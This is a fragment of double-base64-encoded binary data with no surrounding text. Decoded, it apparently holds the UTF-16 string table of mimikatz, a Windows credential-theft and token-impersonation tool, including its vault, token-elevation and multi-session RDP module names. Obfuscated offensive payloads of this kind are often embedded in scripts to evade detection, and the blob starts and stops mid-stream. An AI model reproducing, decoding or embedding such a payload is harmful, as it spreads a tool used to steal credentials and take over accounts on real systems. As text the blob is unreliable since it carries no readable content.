J3QndBQUFBQUFCVUFHVUFjZ0J0QUdrQWJnQmhBSFFBWlFBZ0FHRUFJQUJ3QUhJQWJ3QmpBR1VBY3dCekFBQUFjd0IxQUhNQWNBQmxBRzRBWkFBQUFGTUFkUUJ6QUhBQVpRQnVBR1FBSUFCaEFDQUFjQUJ5QUc4QVl3QmxBSE1BY3dBQUFISUFaUUJ6QUhVQWJRQmxBQUFBQUFCU0FHVUFjd0IxQUcwQVpRQWdBR0VBSUFCd0FISUFid0JqQUdVQWN3QnpBQUFBQUFCUUFISUFid0JqQUdVQWN3QnpBQ0FBYlFCdkFHUUFkUUJzQUdVQUFBQUFBRlFBY2dCNUFHa0FiZ0JuQUNBQWRBQnZBQ0FBY3dCMEFHRUFjZ0IwQUNBQUlnQWxBSE1BSWdBZ0FEb0FJQUFBQUU4QVN3QWdBQ0VBSUFBb0FGQUFTUUJFQUNBQUpRQjFBQ2tBQ2dBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBY0FCeUFHOEFZd0JsQUhNQWN3QmZBSE1BZEFCaEFISUFkQUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhBQWNnQnZBR01BWlFCekFITUFYd0JqQUhJQVpRQmhBSFFBWlFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUJPQUhRQVZBQmxBSElBYlFCcEFHNEFZUUIwQUdVQVVBQnlBRzhBWXdCbEFITUFjd0FBQUFBQVRnQjBBRk1BZFFCekFIQUFaUUJ1QUdRQVVBQnlBRzhBWXdCbEFITUFjd0FBQUFBQVRnQjBBRklBWlFCekFIVUFiUUJsQUZBQWNnQnZBR01BWlFCekFITUFBQUFsQUhNQUlBQnZBR1lBSUFBbEFIVUFJQUJRQUVrQVJBQWdBRG9BSUFCUEFFc0FJQUFoQUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUhBQWNnQnZBR01BWlFCekFITUFYd0JuQUdVQWJnQmxBSElBYVFCakFFOEFjQUJsQUhJQVlRQjBBR2tBYndCdUFDQUFPd0FnQUNVQWN3QWdBREFBZUFBbEFEQUFPQUI0QUFvQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFjQUJ5QUc4QVl3QmxBSE1BY3dCZkFHY0FaUUJ1QUdVQWNnQnBBR01BVHdCd0FHVUFjZ0JoQUhRQWFRQnZBRzRBSUFBN0FDQUFUd0J3QUdVQWJnQlFBSElBYndCakFHVUFjd0J6QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0J3QUhJQWJ3QmpBR1VBY3dCekFGOEFad0JsQUc0QVpRQnlBR2tBWXdCUEFIQUFaUUJ5QUdFQWRBQnBBRzhBYmdBZ0FEc0FJQUJ3QUdrQVpBQWdBQ2dBTHdCd0FHa0FaQUE2QURFQU1nQXpBQ2tBSUFCcEFITUFJQUJ0QUdrQWN3QnpBR2tBYmdCbkFBQUFKUUIxQUFrQUpRQjNBRm9BQ2dBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSEFBY2dCdkFHTUFaUUJ6QUhNQVh3QmpBR0VBYkFCc0FHSUFZUUJqQUdzQVVBQnlBRzhBWXdCbEFITUFjd0FnQURzQUlBQlBBSEFBWlFCdUFGQUFjZ0J2QUdNQVpRQnpBSE1BSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBY0FCeUFHOEFZd0JsQUhNQWN3QmZBR01BWVFCc0FHd0FZZ0JoQUdNQWF3QlFBSElBYndCakFHVUFjd0J6QUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWJRQmxBRzBBYndCeUFIa0FYd0J2QUhBQVpRQnVBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBS0FDVUFkd0JhQUFBQUFBQUtBQWtBSlFCd0FDQUFMUUErQUNBQUpRQjFBQUFBQUFBSkFDVUFkUUFBQUFrQUlBQUFBQUFBQ1FBbEFIQUFBQUFKQUNVQVV3QUFBQWtBTFFBK0FDQUFKUUJUQUFBQUFBQUtBQWtBSlFCd0FDQUFMUUErQUNBQUpRQndBQWtBSlFCVEFDQUFJUUFnQUFBQUFBQWxBRk1BQUFBQUFDTUFKUUIxQUFBQVV3QjBBR0VBY2dCMEFDQUFjd0JsQUhJQWRnQnBBR01BWlFBQUFGSUFaUUJ0QUc4QWRnQmxBQ0FBY3dCbEFISUFkZ0JwQUdNQVpRQUFBQUFBVXdCMEFHOEFjQUFnQUhNQVpRQnlBSFlBYVFCakFHVUFBQUFBQUZNQWRRQnpBSEFBWlFCdUFHUUFJQUJ6QUdVQWNnQjJBR2tBWXdCbEFBQUFVZ0JsQUhNQWRRQnRBR1VBSUFCekFHVUFjZ0IyQUdrQVl3QmxBQUFBQUFCd0FISUFaUUJ6QUdnQWRRQjBBR1FBYndCM0FHNEFBQUJRQUhJQVpRQnpBR2dBZFFCMEFHUUFid0IzQUc0QUlBQnpBR1VBY2dCMkFHa0FZd0JsQUFBQWN3Qm9BSFVBZEFCa0FHOEFkd0J1QUFBQUFBQlRBR2dBZFFCMEFHUUFid0IzQUc0QUlBQnpBR1VBY2dCMkFHa0FZd0JsQUFBQUFBQk1BR2tBY3dCMEFDQUFjd0JsQUhJQWRnQnBBR01BWlFCekFBQUFVd0JsQUhJQWRnQnBBR01BWlFBZ0FHMEFid0JrQUhVQWJBQmxBQUFBQUFBbEFITUFJQUFuQUNVQWN3QW5BQ0FBY3dCbEFISUFkZ0JwQUdNQVpRQWdBRG9BSUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHY0FaUUJ1QUdVQWNnQnBBR01BUmdCMUFHNEFZd0IwQUdrQWJ3QnVBQ0FBT3dBZ0FGTUFaUUJ5QUhZQWFRQmpBR1VBSUFCdkFIQUFaUUJ5QUdFQWRBQnBBRzhBYmdBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFSUUJTQUZJQVR3QlNBQ0FBWndCbEFHNEFaUUJ5QUdrQVl3QkdBSFVBYmdCakFIUUFhUUJ2QUc0QUlBQTdBQ0FBU1FCdUFHb0FaUUJqQUhRQUlBQnVBRzhBZEFBZ0FHRUFkZ0JoQUdrQWJBQmhBR0lBYkFCbEFBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFad0JsQUc0QVpRQnlBR2tBWXdCR0FIVUFiZ0JqQUhRQWFRQnZBRzRBSUFBN0FDQUFUUUJwQUhNQWN3QnBBRzRBWndBZ0FITUFaUUJ5QUhZQWFRQmpBR1VBSUFCdUFHRUFiUUJsQUNBQVlRQnlBR2NBZFFCdEFHVUFiZ0IwQUFvQUFBQUFBRk1BZEFCaEFISUFkQUJwQUc0QVp3QUFBQUFBVWdCbEFHMEFid0IyQUdrQWJnQm5BQUFBQUFCVEFIUUFid0J3QUhBQWFRQnVBR2NBQUFBQUFGTUFkUUJ6QUhBQVpRQnVBR1FBYVFCdUFHY0FBQUFBQUZJQVpRQnpBSFVBYlFCcEFHNEFad0FBQUFBQVVBQnlBR1VBY3dCb0FIVUFkQUJrQUc4QWR3QnVBQUFBVXdCb0FIVUFkQUJrQUc4QWR3QnVBQUFBQUFCekFHVUFjZ0IyQUdrQVl3QmxBSE1BTGdCbEFIZ0FaUUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBSE1BWlFCeUFIWUFhUUJqQUdVQVh3QnpBR1VBYmdCa0FHTUFid0J1QUhRQWNnQnZBR3dBWHdCcEFHNEFjQUJ5QUc4QVl3QmxBSE1BY3dBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHMEFaUUJ0QUc4QWNnQjVBRjhBY3dCbEFHRUFjZ0JqQUdnQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBR1VBY2dCeUFHOEFjZ0FnQUNVQWRRQUtBQUFBVHdCTEFDRUFDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCekFHVUFjZ0IyQUdrQVl3QmxBRjhBY3dCbEFHNEFaQUJqQUc4QWJnQjBBSElBYndCc0FGOEFhUUJ1QUhBQWNnQnZBR01BWlFCekFITUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUdVQWJRQnZBSFFBWlFCc0FHa0FZZ0JmQUdNQWNnQmxBR0VBZEFCbEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBY3dCbEFISUFkZ0JwQUdNQVpRQmZBSE1BWlFCdUFHUUFZd0J2QUc0QWRBQnlBRzhBYkFCZkFHa0FiZ0J3QUhJQWJ3QmpBR1VBY3dCekFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0JsQUcwQWJ3QjBBR1VBYkFCcEFHSUFYd0JEQUhJQVpRQmhBSFFBWlFCU0FHVUFiUUJ2QUhRQVpRQkRBRzhBWkFCbEFGY0FhUUIwQUhRQWFBQlFBR0VBZEFCMEFHVUFjZ0J1QUZJQVpRQndBR3dBWVFCakFHVUFDZ0FBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCekFHVUFjZ0IyQUdrQVl3QmxBRjhBY3dCbEFHNEFaQUJqQUc4QWJnQjBBSElBYndCc0FGOEFhUUJ1QUhBQWNnQnZBR01BWlFCekFITUFJQUE3QUNBQVRnQnZBSFFBSUFCaEFIWUFZUUJwQUd3QVlRQmlBR3dBWlFBZ0FIY0FhUUIwQUdnQWJ3QjFBSFFBSUFCVEFHTUFVd0JsQUc0QVpBQkRBRzhBYmdCMEFISUFid0JzQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBY3dCbEFISUFkZ0JwQUdNQVpRQmZBSE1BWlFCdUFHUUFZd0J2QUc0QWRBQnlBRzhBYkFCZkFHa0FiZ0J3QUhJQWJ3QmpBR1VBY3dCekFDQUFPd0FnQUU4QWNBQmxBRzRBVUFCeUFHOEFZd0JsQUhNQWN3QWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFCbEFIZ0FhUUIwQUFBQUFBQlJBSFVBYVFCMEFDQUFiUUJwQUcwQWFRQnJBR0VBZEFCNkFBQUFZd0JzQUhNQUFBQUFBQUFBUXdCc0FHVUFZUUJ5QUNBQWN3QmpBSElBWlFCbEFHNEFJQUFvQUdRQWJ3QmxBSE1BYmdBbkFIUUFJQUIzQUc4QWNnQnJBQ0FBZHdCcEFIUUFhQUFnQUhJQVpRQmtBR2tBY2dCbEFHTUFkQUJwQUc4QWJnQnpBQ3dBSUFCc0FHa0Fhd0JsQUNBQVVBQnpBRVVBZUFCbEFHTUFLUUFBQUFBQVlRQnVBSE1BZHdCbEFISUFBQUFBQUVFQWJnQnpBSGNBWlFCeUFDQUFkQUJ2QUNBQWRBQm9BR1VBSUFCVkFHd0FkQUJwQUcwQVlRQjBBR1VBSUFCUkFIVUFaUUJ6QUhRQWFRQnZBRzRBSUFCdkFHWUFJQUJNQUdrQVpnQmxBQ3dBSUFCMEFHZ0FaUUFnQUZVQWJnQnBBSFlBWlFCeUFITUFaUUFzQUNBQVlRQnVBR1FBSUFCRkFIWUFaUUJ5QUhrQWRBQm9BR2tBYmdCbkFBQUFZd0J2QUdZQVpnQmxBR1VBQUFBQUFGQUFiQUJsQUdFQWN3QmxBQ3dBSUFCdEFHRUFhd0JsQUNBQWJRQmxBQ0FBWVFBZ0FHTUFid0JtQUdZQVpRQmxBQ0VBQUFCekFHd0FaUUJsQUhBQUFBQUFBQUFBVXdCc0FHVUFaUUJ3QUNBQVlRQnVBQ0FBWVFCdEFHOEFkUUJ1QUhRQUlBQnZBR1lBSUFCdEFHa0FiQUJzQUdrQWN3QmxBR01BYndCdUFHUUFjd0FBQUV3QWJ3Qm5BQ0FBYlFCcEFHMEFhUUJyQUdFQWRBQjZBQ0FBYVFCdUFIQUFkUUIwQUM4QWJ3QjFBSFFBY0FCMUFIUUFJQUIwQUc4QUlBQm1BR2tBYkFCbEFBQUFZZ0JoQUhNQVpRQTJBRFFBQUFBQUFBQUFBQUJUQUhjQWFRQjBBR01BYUFBZ0FHWUFhUUJzQUdVQUlBQnZBSFVBZEFCd0FIVUFkQUF2QUdJQVlRQnpBR1VBTmdBMEFDQUFid0IxQUhRQWNBQjFBSFFBQUFBQUFIWUFaUUJ5QUhNQWFRQnZBRzRBQUFBQUFBQUFSQUJwQUhNQWNBQnNBR0VBZVFBZ0FITUFid0J0QUdVQUlBQjJBR1VBY2dCekFHa0Fid0J1QUNBQWFRQnVBR1lBYndCeUFHMEFZUUIwQUdrQWJ3QnVBSE1BQUFCakFHUUFBQUFBQUFBQUFBQkRBR2dBWVFCdUFHY0FaUUFnQUc4QWNnQWdBR1FBYVFCekFIQUFiQUJoQUhrQUlBQmpBSFVBY2dCeUFHVUFiZ0IwQUNBQVpBQnBBSElBWlFCakFIUUFid0J5QUhrQUFBQnRBR0VBY2dCckFISUFkUUJ6QUhNQUFBQUFBRTBBWVFCeUFHc0FJQUJoQUdJQWJ3QjFBSFFBSUFCUUFIUUFTQUFBQUFBQWN3QjBBR0VBYmdCa0FHRUFjZ0JrQUFBQUFBQlRBSFFBWVFCdUFHUUFZUUJ5QUdRQUlBQnRBRzhBWkFCMUFHd0FaUUFBQUVJQVlRQnpBR2tBWXdBZ0FHTUFid0J0QUcwQVlRQnVBR1FBY3dBZ0FDZ0FaQUJ2QUdVQWN3QWdBRzRBYndCMEFDQUFjZ0JsQUhFQWRRQnBBSElBWlFBZ0FHMEFid0JrQUhVQWJBQmxBQ0FBYmdCaEFHMEFaUUFwQUFBQVFnQjVBR1VBSVFBS0FBQUFOQUF5QUM0QUNnQUFBQUFBQUFBQUFBb0FJQUFnQUNBQUlBQW9BQ0FBS0FBS0FDQUFJQUFnQUNBQUlBQXBBQ0FBS1FBS0FDQUFJQUF1QUY4QVh3QmZBRjhBWHdCZkFDNEFDZ0FnQUNBQWZBQWdBQ0FBSUFBZ0FDQUFJQUI4QUYwQUNnQWdBQ0FBWEFBZ0FDQUFJQUFnQUNBQUlBQXZBQW9BSUFBZ0FDQUFZQUF0QUMwQUxRQXRBQ2NBQ2dBQUFBQUFVd0JzQUdVQVpRQndBQ0FBT2dBZ0FDVUFkUUFnQUcwQWN3QXVBQzRBTGdBZ0FBQUFSUUJ1QUdRQUlBQWhBQW9BQUFBQUFHMEFhUUJ0QUdrQWF3QmhBSFFBZWdBdUFHd0Fid0JuQUFBQUFBQlZBSE1BYVFCdUFHY0FJQUFuQUNVQWN3QW5BQ0FBWmdCdkFISUFJQUJzQUc4QVp3Qm1BR2tBYkFCbEFDQUFPZ0FnQUNVQWN3QUtBQUFBQUFCMEFISUFkUUJsQUFBQUFBQm1BR0VBYkFCekFHVUFBQUJwQUhNQVFnQmhBSE1BWlFBMkFEUUFTUUJ1QUhRQVpRQnlBR01BWlFCd0FIUUFJQUIzQUdFQWN3QWdBQ0FBSUFBZ0FEb0FJQUFsQUhNQUNnQUFBQUFBYVFCekFFSUFZUUJ6QUdVQU5nQTBBRWtBYmdCMEFHVUFjZ0JqQUdVQWNBQjBBQ0FBYVFCekFDQUFiZ0J2QUhjQUlBQTZBQ0FBSlFCekFBb0FBQUFBQURZQU5BQUFBQUFBT0FBMkFBQUFBQUFBQUFBQUNnQnRBR2tBYlFCcEFHc0FZUUIwQUhvQUlBQXlBQzRBTUFBZ0FHRUFiQUJ3QUdnQVlRQWdBQ2dBWVFCeUFHTUFhQUFnQUhnQU9BQTJBQ2tBQ2dCWEFHa0FiZ0JrQUc4QWR3QnpBQ0FBVGdCVUFDQUFKUUIxQUM0QUpRQjFBQ0FBWWdCMUFHa0FiQUJrQUNBQUpRQjFBQ0FBS0FCaEFISUFZd0JvQUNBQWVBQWxBSE1BS1FBS0FHMEFjd0IyQUdNQUlBQWxBSFVBSUFBbEFIVUFDZ0FBQUVNQWRRQnlBRG9BSUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSE1BZEFCaEFHNEFaQUJoQUhJQVpBQmZBR01BWkFBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHWUFhUUJzQUdVQVh3Qm5BR1VBZEFCREFIVUFjZ0J5QUdVQWJnQjBBRVFBYVFCeUFHVUFZd0IwQUc4QWNnQjVBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFFNEFaUUIzQURvQUlBQWxBSE1BQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnpBSFFBWVFCdUFHUUFZUUJ5QUdRQVh3QmpBR1FBSUFBN0FDQUFVd0JsQUhRQVF3QjFBSElBY2dCbEFHNEFkQUJFQUdrQWNnQmxBR01BZEFCdkFISUFlUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQlRBRzhBY2dCeUFIa0FJQUI1QUc4QWRRQWdBR2NBZFFCNUFITUFJQUJrQUc4QWJnQW5BSFFBSUFCbkFHVUFkQUFnQUdrQWRBQXVBQW9BQUFCM0FHZ0Fid0JoQUcwQWFRQUFBQUFBUkFCcEFITUFjQUJzQUdFQWVRQWdBR01BZFFCeUFISUFaUUJ1QUhRQUlBQnBBR1FBWlFCdUFIUUFhUUIwQUhrQUFBQUFBRXdBYVFCekFIUUFJQUJoQUd3QWJBQWdBSFFBYndCckFHVUFiZ0J6QUNBQWJ3Qm1BQ0FBZEFCb0FHVUFJQUJ6QUhrQWN3QjBBR1VBYlFBQUFHVUFiQUJsQUhZQVlRQjBBR1VBQUFCSkFHMEFjQUJsQUhJQWN3QnZBRzRBWVFCMEFHVUFJQUJoQUNBQWRBQnZBR3NBWlFCdUFBQUFjZ0JsQUhZQVpRQnlBSFFBQUFBQUFGSUFaUUIyQUdVQWNnQjBBQ0FBZEFCdkFDQUFjQUJ5QUc4QVl3QmxBSE1BSUFCMEFHOEFhd0JsQUc0QUFBQUFBSFFBYndCckFHVUFiZ0FBQUZRQWJ3QnJBR1VBYmdBZ0FHMEFZUUJ1QUdrQWNBQjFBR3dBWVFCMEFHa0Fid0J1QUNBQWJRQnZBR1FBZFFCc0FHVUFBQUFnQUNvQUlBQlFBSElBYndCakFHVUFjd0J6QUNBQVZBQnZBR3NBWlFCdUFDQUFPZ0FnQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCMEFHOEFhd0JsQUc0QVh3QjNBR2dBYndCaEFHMEFhUUFnQURzQUlBQlBBSEFBWlFCdUFGQUFjZ0J2QUdNQVpRQnpBSE1BVkFCdkFHc0FaUUJ1QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQ0FBS2dBZ0FGUUFhQUJ5QUdVQVlRQmtBQ0FBVkFCdkFHc0FaUUJ1QUNBQUlBQTZBQ0FBQUFCdUFHOEFJQUIwQUc4QWF3QmxBRzRBQ2dBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSFFBYndCckFHVUFiZ0JmQUhjQWFBQnZBR0VBYlFCcEFDQUFPd0FnQUU4QWNBQmxBRzRBVkFCb0FISUFaUUJoQUdRQVZBQnZBR3NBWlFCdUFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUJrQUc4QWJRQmhBR2tBYmdCaEFHUUFiUUJwQUc0QUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0IwQUc4QWF3QmxBRzRBWHdCc0FHa0Fjd0IwQUY4QWJ3QnlBRjhBWlFCc0FHVUFkZ0JoQUhRQVpRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBR3dBYndCakFHRUFiQUJmQUdRQWJ3QnRBR0VBYVFCdUFGOEFkUUJ6QUdVQWNnQmZBR2NBWlFCMEFFTUFkUUJ5QUhJQVpRQnVBSFFBUkFCdkFHMEFZUUJwQUc0QVV3QkpBRVFBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWRBQnZBR3NBWlFCdUFGOEFiQUJwQUhNQWRBQmZBRzhBY2dCZkFHVUFiQUJsQUhZQVlRQjBBR1VBSUFBN0FDQUFUZ0J2QUNBQWRRQnpBR1VBY2dCdUFHRUFiUUJsQUNBQVlRQjJBR0VBYVFCc0FHRUFZZ0JzQUdVQUlBQjNBR2dBWlFCdUFDQUFVd0JaQUZNQVZBQkZBRTBBQ2dBQUFGUUFid0JyQUdVQWJnQWdBRWtBWkFBZ0FDQUFPZ0FnQUNVQWRRQUtBRlVBY3dCbEFISUFJQUJ1QUdFQWJRQmxBQ0FBT2dBZ0FDVUFjd0FLQUZNQVNRQkVBQ0FBYmdCaEFHMEFaUUFnQUNBQU9nQWdBQUFBQUFBbEFITUFYQUFsQUhNQUNnQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0IwQUc4QWF3QmxBRzRBWHdCc0FHa0Fjd0IwQUY4QWJ3QnlBRjhBWlFCc0FHVUFkZ0JoQUhRQVpRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSFFBYndCckFHVUFiZ0JmQUdjQVpRQjBBRTRBWVFCdEFHVUFSQUJ2QUcwQVlRQnBBRzRBUmdCeUFHOEFiUUJUQUVrQVJBQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QjBBRzhBYXdCbEFHNEFYd0JzQUdrQWN3QjBBRjhBYndCeUFGOEFaUUJzQUdVQWRnQmhBSFFBWlFBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHd0Fid0JqQUdFQWJBQmZBR1FBYndCdEFHRUFhUUJ1QUY4QWRRQnpBR1VBY2dCZkFFTUFjZ0JsQUdFQWRBQmxBRmNBWlFCc0FHd0FTd0J1QUc4QWR3QnVBRk1BYVFCa0FDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBZEFCdkFHc0FaUUJ1QUY4QWNnQmxBSFlBWlFCeUFIUUFJQUE3QUNBQVV3QmxBSFFBVkFCb0FISUFaUUJoQUdRQVZBQnZBR3NBWlFCdUFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUVFQWJnQnZBRzRBZVFCdEFHOEFkUUJ6QUFBQVNRQmtBR1VBYmdCMEFHa0FaZ0JwQUdNQVlRQjBBR2tBYndCdUFBQUFBQUJKQUcwQWNBQmxBSElBY3dCdkFHNEFZUUIwQUdrQWJ3QnVBQUFBUkFCbEFHd0FaUUJuQUdFQWRBQnBBRzhBYmdBQUFBQUFWUUJ1QUdzQWJnQnZBSGNBYmdBQUFDVUFMUUF4QURBQWRRQUpBQUFBQUFBbEFITUFYQUFsQUhNQUNRQWxBSE1BQUFBQUFBa0FLQUFsQURBQU1nQjFBR2NBTEFBbEFEQUFNZ0IxQUhBQUtRQUpBQ1VBY3dBQUFDQUFLQUFsQUhNQUtRQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFkQUJ2QUdzQVpRQnVBRjhBYkFCcEFITUFkQUJmQUc4QWNnQmZBR1VBYkFCbEFIWUFZUUIwQUdVQVh3QmpBR0VBYkFCc0FHSUFZUUJqQUdzQUlBQTdBQ0FBUXdCb0FHVUFZd0JyQUZRQWJ3QnJBR1VBYmdCTkFHVUFiUUJpQUdVQWNnQnpBR2dBYVFCd0FDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUNVQWRRQUpBQUFBSUFBdEFENEFJQUJKQUcwQWNBQmxBSElBY3dCdkFHNEFZUUIwQUdVQVpBQWdBQ0VBQ2dBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBSFFBYndCckFHVUFiZ0JmQUd3QWFRQnpBSFFBWHdCdkFISUFYd0JsQUd3QVpRQjJBR0VBZEFCbEFGOEFZd0JoQUd3QWJBQmlBR0VBWXdCckFDQUFPd0FnQUZNQVpRQjBBRlFBYUFCeUFHVUFZUUJrQUZRQWJ3QnJBR1VBYmdBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUJ0QUhVQWJBQjBBR2tBY2dCa0FIQUFBQUFBQUFBQUFBQmJBR1VBZUFCd0FHVUFjZ0JwQUcwQVpRQnVBSFFBWVFCc0FGMEFJQUJ3QUdFQWRBQmpBR2dBSUFCVUFHVUFjZ0J0QUdrQWJnQmhBR3dBSUFCVEFHVUFjZ0IyQUdVQWNnQWdBSE1BWlFCeUFIWUFhUUJqQUdVQUlBQjBBRzhBSUFCaEFHd0FiQUJ2QUhjQUlBQnRBSFVBYkFCMEFHa0FjQUJzQUdVQWN3QWdBSFVBY3dCbEFISUFjd0FBQUhRQWN3QUFBQUFBVkFCbEFISUFiUUJwQUc0QVlRQnNBQ0FBVXdCbEFISUFkZ0JsQUhJQUlBQnRBRzhBWkFCMUFHd0FaUUFBQUFBQWRBQmxBSElBYlFCekFISUFkZ0F1QUdRQWJBQnNBQUFBVkFCbEFISUFiUUJUQUdVQWNnQjJBR2tBWXdCbEFBQUFBQUFBQUZjQWFRQnVBR1FBYndCM0FITUFJQUJXQUdFQWRRQnNBSFFBTHdCREFISUFaUUJrQUdVQWJnQjBBR2tBWVFCc0FDQUFiUUJ2QUdRQWRRQnNBR1VBQUFCMkFHRUFkUUJzQUhRQVl3QnNBR2tBQUFBQUFGWmhkV3gwUlc1MWJXVnlZWFJsU1hSbGJWUjVjR1Z6QUZaaGRXeDBSVzUxYldWeVlYUmxWbUYxYkhSekFBQUFBRlpoZFd4MFQzQmxibFpoZFd4MEFBQldZWFZzZEVkbGRFbHVabTl5YldGMGFXOXVBRlpoZFd4MFJXNTFiV1Z5WVhSbFNYUmxiWE1BVm1GMWJIUkRiRzl6WlZaaGRXeDBBRlpoZFd4MFJuSmxaUUFBQUZaaGRXeDBSMlYwU1hSbGJRQUFBQUJFQUc4QWJRQmhBR2tBYmdBZ0FGQUFZUUJ6QUhNQWR3QnZBSElBWkFBQUFFUUFid0J0QUdFQWFRQnVBQ0FBUXdCbEFISUFkQUJwQUdZQWFRQmpBR0VBZEFCbEFBQUFBQUJFQUc4QWJRQmhBR2tBYmdBZ0FFVUFlQUIwQUdVQWJnQmtBR1VBWkFBQUFGQUFhUUJ1QUNBQVRBQnZBR2NBYndCdUFBQUFVQUJwQUdNQWRBQjFBSElBWlFBZ0FGQUFZUUJ6QUhNQWR3QnZBSElBWkFBQUFBQUFRZ0JwQUc4QWJRQmxBSFFBY2dCcEFHTUFBQUJPQUdVQWVBQjBBQ0FBUndCbEFHNEFaUUJ5QUdFQWRBQnBBRzhBYmdBZ0FFTUFjZ0JsQUdRQVpRQnVBSFFBYVFCaEFHd0FBQUFBQUFvQVZnQmhBSFVBYkFCMEFDQUFPZ0FnQUFBQUNRQkpBSFFBWlFCdEFITUFJQUFvQUNVQWRRQXBBQW9BQUFBQUFBa0FJQUFsQURJQWRRQXVBQWtBSlFCekFBb0FBQUFBQUFrQUNRQlVBSGtBY0FCbEFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQUFBQUFBQ1FBSkFFd0FZUUJ6QUhRQVZ3QnlBR2tBZEFCMEFHVUFiZ0FnQUNBQUlBQWdBQ0FBT2dBZ0FBQUFBQUFKQUFrQVJnQnNBR0VBWndCekFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQXdBRGdBZUFBS0FBQUFDUUFKQUZJQVpRQnpBSE1BYndCMUFISUFZd0JsQUNBQUlBQWdBQ0FBSUFBZ0FDQUFPZ0FnQUFBQUFBQUpBQWtBU1FCa0FHVUFiZ0IwQUdrQWRBQjVBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBQUFBa0FDUUJCQUhVQWRBQm9BR1VBYmdCMEFHa0FZd0JoQUhRQWJ3QnlBQ0FBSUFBZ0FEb0FJQUFBQUFBQUNRQUpBRkFBY2dCdkFIQUFaUUJ5QUhRQWVRQWdBQ1VBTWdCMUFDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBSkFBa0FLZ0JCQUhVQWRBQm9BR1VBYmdCMEFHa0FZd0JoQUhRQWJ3QnlBQ29BSUFBNkFDQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFIWUFZUUIxQUd3QWRBQmZBR3dBYVFCekFIUUFJQUE3QUNBQVZnQmhBSFVBYkFCMEFFY0FaUUIwQUVrQWRBQmxBRzBBTndBZ0FEb0FJQUFsQURBQU9BQjRB